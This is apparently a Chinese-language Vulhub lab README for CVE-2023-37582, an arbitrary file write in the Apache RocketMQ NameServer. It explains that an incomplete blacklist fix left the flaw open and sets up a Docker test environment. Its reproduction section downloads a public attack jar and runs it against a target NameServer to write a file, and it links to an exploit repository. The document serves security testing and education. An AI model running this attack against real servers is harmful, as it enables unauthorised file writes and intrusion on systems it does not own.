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# Apache RocketMQ NameServer 任意文件写入漏洞CVE-2023-37582
Apache RocketMQ是一个分布式消息和流处理平台具有低延迟、高性能和可靠性、万亿级容量和灵活的可扩展性。
在RocketMQ版本5.1.1及以下版本中NameServer组件存在一个任意文件写入漏洞。该漏洞存在于RocketMQ的NameServer组件的配置更新功能中。通过向NameServer发送`UPDATE_NAMESRV_CONFIG`命令,攻击者可以修改`configStorePath`配置项及其内容,从而导致任意文件写入。
该漏洞源于对[CVE-2023-33246](https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246)的不完全修复。在处理CVE-2023-33246时官方团队建立了一个不能被修改的配置项黑名单。然而补丁错误地将黑名单指定为`configStorePathName`,而应该是`configStorePath`,导致了这一结果。
参考链接:
- <https://github.com/apache/rocketmq/pull/6843>
- <https://drun1baby.top/2023/11/21/CVE-2023-37582-Apache-RocketMQ-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
- <https://github.com/Malayke/CVE-2023-37582_EXPLOIT>
## 漏洞环境
执行如下命令启动一个RocketMQ NameServer 5.1.0
```shell
docker compose up -d
```
环境启动后RocketMQ的NameServer将会监听在9876端口。
## 漏洞复现
使用这个[工具](https://github.com/vulhub/rocketmq-attack)来复现漏洞并写入任意文件:
```shell
wget https://github.com/vulhub/rocketmq-attack/releases/download/1.1/rocketmq-attack-1.1-SNAPSHOT.jar
java -jar rocketmq-attack-1.1-SNAPSHOT.jar AttackNamesrv --target your-ip:9876 --path "/tmp/success" --content "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
```
执行完成后,可以验证文件是否写入成功:
```shell
cat /tmp/success
```
可见,内容写入成功:
![](1.png)